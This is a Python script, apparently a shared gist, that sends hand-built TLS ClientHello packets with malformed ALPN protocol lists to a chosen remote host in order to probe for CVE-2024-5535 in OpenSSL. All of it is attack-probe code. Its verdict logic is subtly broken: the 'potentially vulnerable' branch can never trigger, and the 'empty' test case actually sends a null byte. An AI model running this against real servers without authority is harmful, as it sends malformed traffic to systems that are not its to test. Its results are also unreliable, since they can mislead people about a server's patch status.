AI-CVE-2024-5535.py

gistfile2.txt

import ssl
import socket
import sys
import struct

def get_remote_openssl_version(host, port):
    """
    Grab the actual TLS server banner/version from the REMOTE target
    """
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    try:
        with socket.create_connection((host, port), timeout=10) as sock:
            with context.wrap_socket(sock, server_hostname=host) as ssock:
                cert = ssock.getpeercert(binary_form=True)
                cipher = ssock.cipher()
                tls_version = ssock.version()

                return {
                    "tls_version": tls_version,
                    "cipher": cipher,
                    "cert": cert
                }
    except Exception as e:
        print(f"[-] Failed to connect: {e}")
        return None


def send_raw_tls_client_hello(host, port):
    """
    Send a raw ClientHello with ALPN extension containing
    an empty protocol list to trigger CVE-2024-5535 behavior.
    CVE-2024-5535: SSL_select_next_proto buffer overread when
    client sends empty protocol list in ALPN/NPN.
    """

    # TLS ClientHello with ALPN extension
    # containing intentionally malformed/empty protocol entry
    def build_client_hello(alpn_protocols):
        # ALPN extension
        proto_list = b""
        for proto in alpn_protocols:
            encoded = proto.encode()
            proto_list += struct.pack("!B", len(encoded)) + encoded

        alpn_proto_list = struct.pack("!H", len(proto_list)) + proto_list
        alpn_ext_data = struct.pack("!H", len(alpn_proto_list)) + alpn_proto_list
        alpn_extension = (
            struct.pack("!H", 0x0010) +          # Extension type: ALPN (16)
            struct.pack("!H", len(alpn_ext_data)) +
            alpn_ext_data
        )

        # Random 32 bytes
        import os
        random_bytes = os.urandom(32)

        # Session ID
        session_id = b"\x00"

        # Cipher suites
        cipher_suites = (
            b"\x13\x01"  # TLS_AES_128_GCM_SHA256
            b"\x13\x02"  # TLS_AES_256_GCM_SHA384
            b"\xc0\x2b"  # ECDHE-ECDSA-AES128-GCM-SHA256
            b"\xc0\x2f"  # ECDHE-RSA-AES128-GCM-SHA256
        )
        cipher_suites_len = struct.pack("!H", len(cipher_suites))

        # Compression methods
        compression = b"\x01\x00"

        # Extensions
        extensions = alpn_extension
        extensions_len = struct.pack("!H", len(extensions))

        # ClientHello body
        hello_body = (
            b"\x03\x03" +           # TLS 1.2 legacy version
            random_bytes +
            session_id +
            cipher_suites_len +
            cipher_suites +
            compression +
            extensions_len +
            extensions
        )

        # Handshake header
        handshake = (
            b"\x01" +                                        # HandshakeType: ClientHello
            struct.pack("!I", len(hello_body))[1:] +        # 3-byte length
            hello_body
        )

        # TLS record layer
        record = (
            b"\x16" +               # Content type: Handshake
            b"\x03\x01" +           # TLS 1.0 record version
            struct.pack("!H", len(handshake)) +
            handshake
        )

        return record

    results = {}

    # Test 1: Normal ALPN
    test_cases = {
        "normal_alpn"  : ["http/1.1", "h2"],
        "empty_string" : [""],               # CVE-2024-5535 trigger: empty protocol
        "single_empty" : ["\x00"],           # Null byte protocol
    }

    for test_name, protocols in test_cases.items():
        try:
            raw_hello = build_client_hello(protocols)
            sock = socket.create_connection((host, port), timeout=5)
            sock.sendall(raw_hello)
            sock.settimeout(3)

            try:
                response = sock.recv(4096)
                # Check if we got a valid TLS ServerHello back
                if len(response) > 5 and response[0] == 0x16:
                    results[test_name] = {
                        "status"  : "got_server_hello",
                        "detail"  : "Server responded to malformed ALPN",
                        "raw_len" : len(response)
                    }
                elif len(response) > 5 and response[0] == 0x15:
                    # TLS Alert
                    alert_level = response[5]
                    alert_desc  = response[6] if len(response) > 6 else 0
                    results[test_name] = {
                        "status"     : "tls_alert",
                        "detail"     : f"Alert level={alert_level} desc={alert_desc}",
                        "vulnerable" : False
                    }
                else:
                    results[test_name] = {
                        "status" : "unexpected_response",
                        "raw"    : response[:20].hex()
                    }
            except socket.timeout:
                results[test_name] = {
                    "status" : "timeout",
                    "detail" : "No response - server may have crashed or dropped"
                }

            sock.close()

        except ConnectionResetError:
            results[test_name] = {
                "status"     : "connection_reset",
                "detail"     : "Server reset connection on malformed input",
                "vulnerable" : False
            }
        except Exception as e:
            results[test_name] = {
                "status" : "error",
                "detail" : str(e)
            }

    return results


def check_cve_2024_5535(host, port):
    """
    Main check for CVE-2024-5535
    Tests the REMOTE target - not the local machine
    """
    print(f"[*] Target : {host}:{port}")
    print(f"[*] CVE    : CVE-2024-5535 (SSL_select_next_proto buffer overread)")
    print()

    # Step 1: Get remote TLS info
    print("[*] Grabbing remote TLS info...")
    remote_info = get_remote_openssl_version(host, port)
    if remote_info:
        print(f"[+] Remote TLS Version : {remote_info['tls_version']}")
        print(f"[+] Remote Cipher      : {remote_info['cipher']}")
    else:
        print("[-] Could not retrieve remote TLS info")
        return

    print()

    # Step 2: Send raw malformed ALPN to test CVE-2024-5535
    print("[*] Sending malformed ALPN ClientHello payloads to remote target...")
    results = send_raw_tls_client_hello(host, port)

    print()
    print("[*] Results:")
    print("-" * 50)

    for test_name, result in results.items():
        print(f"\n[Test] {test_name}")
        for k, v in result.items():
            print(f"  {k:<12}: {v}")

    # Assess
    print()
    print("[*] Assessment:")
    if any(r.get("status") == "got_server_hello"
           for r in results.values()
           if "empty" in results):
        print("[!] Server accepted empty ALPN protocol - potentially vulnerable")
    elif all(r.get("status") in ["tls_alert", "connection_reset"]
             for r in results.values()):
        print("[+] Server rejected malformed ALPN input - likely patched")
    else:
        print("[?] Inconclusive - manual analysis of results required")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [port]")
        sys.exit(1)

    target_host = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 443

    check_cve_2024_5535(target_host, target_port)